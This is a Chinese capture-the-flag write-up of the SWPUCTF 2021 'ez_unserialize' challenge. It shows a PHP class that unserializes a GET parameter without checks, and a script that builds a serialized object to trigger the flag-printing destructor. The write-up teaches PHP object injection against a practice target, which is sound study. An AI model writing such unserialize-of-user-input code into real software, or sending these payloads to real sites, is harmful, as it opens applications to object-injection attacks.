[SWPUCTF 2021 新生赛]ez_unserialize

开启环境,进入并查看,可以看到一个动图,选择查看网页源码,得到

看到有隐藏信息,根据隐藏信息可以猜测,可以利用robots协议查看相关信息,访问得到

可以得到/c145s.php信息,进而访问,得到

php
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
对此PHP代码分析
php
class wllm{
public $admin;
public $passwd;
// 构造方法:初始化属性值(反序列化时不会自动执行__construct)
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
// 析构方法:对象销毁时执行(反序列化后会自动触发)
public function __destruct(){
// 核心条件:admin严格等于"admin"、passwd严格等于"ctf"
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag; // 满足条件则输出flag
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
关键
bash
__construct:仅在new wllm()时执行,反序列化时不会触发,因此初始化的admin=user、passwd=123456可被覆盖;
__destruct:反序列化生成的对象销毁时自动执行,是漏洞利用的核心入口;
条件判断用===(严格相等,需值和类型都匹配,这里都是字符串,只需值正确)
核心是实例化wllm类,手动赋值admin="admin"、passwd="ctf",再序列化
代码
php
<?php
class wllm{
public $admin;
public $passwd;
}
// 实例化并赋值满足条件的属性
$obj = new wllm();
$obj->admin = "admin";
$obj->passwd = "ctf";
// 生成序列化字符串
echo serialize($obj);
?>
将序列化的结果get传参,得到最终结果

